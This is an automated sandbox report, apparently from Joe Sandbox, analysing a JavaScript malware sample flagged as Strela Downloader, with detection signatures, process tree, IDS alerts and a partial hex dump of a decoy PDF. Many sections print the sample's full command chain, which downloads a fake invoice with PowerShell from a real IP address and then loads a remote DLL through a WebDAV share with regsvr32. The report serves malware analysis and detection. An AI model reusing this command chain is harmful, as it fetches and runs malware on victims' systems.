Edit tour

Windows Analysis Report
2949911514285745182.js

Overview

General Information

Sample name:	2949911514285745182.js
Analysis ID:	1588716
MD5:	b445527ce7ee32b9653b92d2cbad58db
SHA1:	d1c212060cbac5ab69c0a6b4798d09405f51799f
SHA256:	fc572b4ce5a870c3b62e64971ea73edded5c7881d63272bedbf1841ba79c6d5d
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7944 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8032 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8080 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7424 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6120 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8016 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1620,i,3656808603728211893,16428644544822927007,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7436 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7400 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5888 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7944	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8032, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8080, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8032, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8080, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js", ProcessId: 7944, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7400, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49729

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ProcessId: 8032, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ProcessId: 8032, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ProcessId: 8032, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ProcessId: 8032, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ProcessId: 8032, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js", ProcessId: 7944, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8032, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8080, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7436, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7400, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5888, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7436, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7400, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ProcessId: 8032, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:35:13.696710+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49711	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:35:16.197232+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49729	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:35:13.696710+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2949911514285745182.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2949911514285745182.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2949911514285745182.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49711 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49729 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:35:13 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

